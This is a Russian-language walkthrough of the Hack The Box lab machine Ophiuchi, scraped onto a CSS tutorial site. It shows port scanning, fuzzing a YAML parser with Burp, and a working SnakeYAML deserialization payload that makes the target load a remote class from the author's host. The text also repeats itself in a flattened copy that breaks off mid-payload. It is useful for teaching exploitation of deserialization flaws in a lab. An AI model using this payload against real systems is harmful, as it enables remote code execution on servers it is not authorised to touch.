HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости» » Самоучитель CSS
Меню
Наши новости
Учебник CSS

Невозможно отучить людей изучать самые ненужные предметы.

Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3

Надо знать обо всем понемножку, но все о немногом.

Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы

Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)

Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода

Самоучитель CSS

Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5

Новости

Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости

Справочник CSS

Справочник от А до Я
HTML, CSS, JavaScript

Афоризмы

Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы

Видео Уроки


Наш опрос



Наши новости

       
7-07-2021, 00:00
HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»
Рейтинг:
Категория: Новости

Hack The Box. На ее при­мере мы сна­чала попен­тестим SnakeYAML, а затем будем модифи­циро­вать при­ложе­ние на Go, которое ком­пилиру­ется в WebAssembly.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем адрес машины в файл hosts, что­бы обра­щать­ся к ней по име­ни.


10.10.10.227 ophiuchi.htb

И начина­ем тра­дици­онно со ска­ниро­вания пор­тов. В этот раз я буду исполь­зовать быс­трый ска­нер RustScan. Сна­чала он най­дет все откры­тые пор­ты, а потом передаст зна­мени­тому Nmap для ска­ниро­вания со скрип­тами (прос­то ука­жем опцию -A).


rustscan 10.10.10.227 -- -A
Об­наружен­ные с помощью RustScan откры­тые пор­ты
Ска­ниро­вание Nmap

Мы наш­ли две служ­бы: SSH (порт 22) и веб‑сер­вер Apache Tomcat (порт 8080). На SSH сей­час мож­но толь­ко брут­форсить учет­ные дан­ные, но это не комиль­фо, тем более при про­хож­дении лабора­тор­ных машин. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те.


 

Точка входа


При перехо­де на сайт нас встре­тила фор­ма пар­сера раз­метки YAML.


HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»
Фор­ма Online YAML Parser

Ти­пич­ная проб­лема любых пар­серов — неп­равиль­ная обра­бот­ка слу­жеб­ных сим­волов, которая может при­вес­ти к уяз­вимос­тям. Что­бы про­верить, нет ли здесь чего‑то подоб­ного, отпра­вим в фор­му вво­да все печата­емые сим­волы по оче­реди. Я буду делать это через Burp. Пер­вым делом перех­ватим зап­рос в Burp и отпра­вим его в Intruder. На вклад­ке Payload Position ука­жем тип ата­ки Sniper, изме­ним зна­чение парамет­ра data, при­менив пус­тую наг­рузку.


Вклад­ка Payload Position

Да­лее на вклад­ке Payload Options заг­рузим спи­сок печата­емых сим­волов, к при­меру этот, из набора сло­варей SecLists. И выпол­ним перебор, нажав кноп­ку Start Attack. Пос­ле завер­шения ата­ки сор­тиру­ем резуль­таты по стол­бцу Length так, что­бы сна­чала шли самые боль­шие отве­ты.


Вклад­ка Payload Options
Ре­зуль­тат перебо­ра сим­вола

Ес­ли отправ­лять обыч­ные сим­волы, то ответ всег­да будет оди­нако­вый.


Due to security reason this feature has been temporarily on hold. We will soon fix the issue!


Но в ответ на некото­рые зап­росы мы получа­ем ошиб­ки. Для нас это хорошо, так как сооб­щения могут рас­кры­вать допол­нитель­ную информа­цию о целевом при­ложе­нии, к при­меру исполь­зуемые тех­нологии. И дей­стви­тель­но: в тек­сте ошиб­ки видим упо­мина­ние SnakeYAML, и, что более инте­рес­но, ошиб­ка про­исхо­дит в методе load.



info


SnakeYAML — про­цес­сор раз­метки YAML для прог­рамм на Java.



Текст ошиб­ки, получа­емой при отправ­ке сим­вола про­цен­та

То есть в дан­ном слу­чае поль­зователь­ский ввод переда­ется в метод Yaml.load(), который кон­верти­рует документ YAML в объ­ект Java, что потен­циаль­но может при­вес­ти к уяз­вимос­ти десери­али­зации, а это, в свою оче­редь, откры­вает путь к уда­лен­ному выпол­нению кода (RCE).


Даль­ше я без тру­да нашел готовую наг­рузку, которая экс­плу­ати­рует уяз­вимость в десери­али­зации SnakeYAML (PDF). Смысл уяз­вимос­ти в том, что мы можем спро­воци­ровать заг­рузку клас­са со сво­его хос­та.


Да­вай отпра­вим тес­товую наг­рузку и пос­мотрим на резуль­тат. Что­бы пой­мать отклик, запус­тим прос­той локаль­ный веб‑сер­вер Python 3.


python3 -mhttp.server 8000

А теперь отправ­ляем сле­дующую наг­рузку. Пос­ле отправ­ки в логах веб‑сер­вера уви­дим попыт­ку заг­рузить фай­лы.


!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
]]
]
По­иск опи­сан­ных уяз­вимос­тей в Online YAML Parser

В окне бра­узе­ра наб­люда­ем уже зна­комое нам сооб­щение, а вот в логах веб‑сер­вера видим две записи, одна из которых — зап­рос HEAD. То есть наше пред­положе­ние ока­залось вер­ным, мы можем добить­ся заг­рузки кода с нашего сер­вера.


Ло­ги локаль­ного веб‑сер­вера Python

Hack The Box. На ее при­мере мы сна­чала попен­тестим SnakeYAML, а затем будем модифи­циро­вать при­ложе­ние на Go, которое ком­пилиру­ется в WebAssembly. warning Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. Разведка Сканирование портов До­бав­ляем адрес машины в файл hosts, что­бы обра­щать­ся к ней по име­ни. 10. 10. 10. 227 ophiuchi. htb И начина­ем тра­дици­онно со ска­ниро­вания пор­тов. В этот раз я буду исполь­зовать быс­трый ска­нер RustScan. Сна­чала он най­дет все откры­тые пор­ты, а потом передаст зна­мени­тому Nmap для ска­ниро­вания со скрип­тами (прос­то ука­жем опцию -A). rustscan 10. 10. 10. 227 -- -A Об­наружен­ные с помощью RustScan откры­тые пор­ты Ска­ниро­вание NmapМы наш­ли две служ­бы: SSH (порт 22) и веб‑сер­вер Apache Tomcat (порт 8080). На SSH сей­час мож­но толь­ко брут­форсить учет­ные дан­ные, но это не комиль­фо, тем более при про­хож­дении лабора­тор­ных машин. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те. Точка входа При перехо­де на сайт нас встре­тила фор­ма пар­сера раз­метки YAML. Фор­ма Online YAML ParserТи­пич­ная проб­лема любых пар­серов — неп­равиль­ная обра­бот­ка слу­жеб­ных сим­волов, которая может при­вес­ти к уяз­вимос­тям. Что­бы про­верить, нет ли здесь чего‑то подоб­ного, отпра­вим в фор­му вво­да все печата­емые сим­волы по оче­реди. Я буду делать это через Burp. Пер­вым делом перех­ватим зап­рос в Burp и отпра­вим его в Intruder. На вклад­ке Payload Position ука­жем тип ата­ки Sniper, изме­ним зна­чение парамет­ра data, при­менив пус­тую наг­рузку. Вклад­ка Payload PositionДа­лее на вклад­ке Payload Options заг­рузим спи­сок печата­емых сим­волов, к при­меру этот, из набора сло­варей SecLists. И выпол­ним перебор, нажав кноп­ку Start Attack. Пос­ле завер­шения ата­ки сор­тиру­ем резуль­таты по стол­бцу Length так, что­бы сна­чала шли самые боль­шие отве­ты. Вклад­ка Payload Options Ре­зуль­тат перебо­ра сим­волаЕс­ли отправ­лять обыч­ные сим­волы, то ответ всег­да будет оди­нако­вый. Due to security reason this feature has been temporarily on hold. We will soon fix the issue! Но в ответ на некото­рые зап­росы мы получа­ем ошиб­ки. Для нас это хорошо, так как сооб­щения могут рас­кры­вать допол­нитель­ную информа­цию о целевом при­ложе­нии, к при­меру исполь­зуемые тех­нологии. И дей­стви­тель­но: в тек­сте ошиб­ки видим упо­мина­ние SnakeYAML, и, что более инте­рес­но, ошиб­ка про­исхо­дит в методе load. info SnakeYAML — про­цес­сор раз­метки YAML для прог­рамм на Java. Текст ошиб­ки, получа­емой при отправ­ке сим­вола про­цен­таТо есть в дан­ном слу­чае поль­зователь­ский ввод переда­ется в метод Yaml.load(), который кон­верти­рует документ YAML в объ­ект Java, что потен­циаль­но может при­вес­ти к уяз­вимос­ти десери­али­зации, а это, в свою оче­редь, откры­вает путь к уда­лен­ному выпол­нению кода (RCE). Даль­ше я без тру­да нашел готовую наг­рузку, которая экс­плу­ати­рует уяз­вимость в десери­али­зации SnakeYAML (PDF). Смысл уяз­вимос­ти в том, что мы можем спро­воци­ровать заг­рузку клас­са со сво­его хос­та. Да­вай отпра­вим тес­товую наг­рузку и пос­мотрим на резуль­тат. Что­бы пой­мать отклик, запус­тим прос­той локаль­ный веб‑сер­вер Python 3. python3 -m http. server 8000 А теперь отправ­ляем сле­дующую наг­рузку. Пос­ле отправ­ки в логах веб‑сер­вера уви­дим попыт­ку заг­рузить фай­лы. !!javax. script. ScriptEngineManager _

Теги: CSS

Просмотров: 574
Комментариев: 0:   7-07-2021, 00:00
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

 
Еще новости по теме:



Другие новости по теме: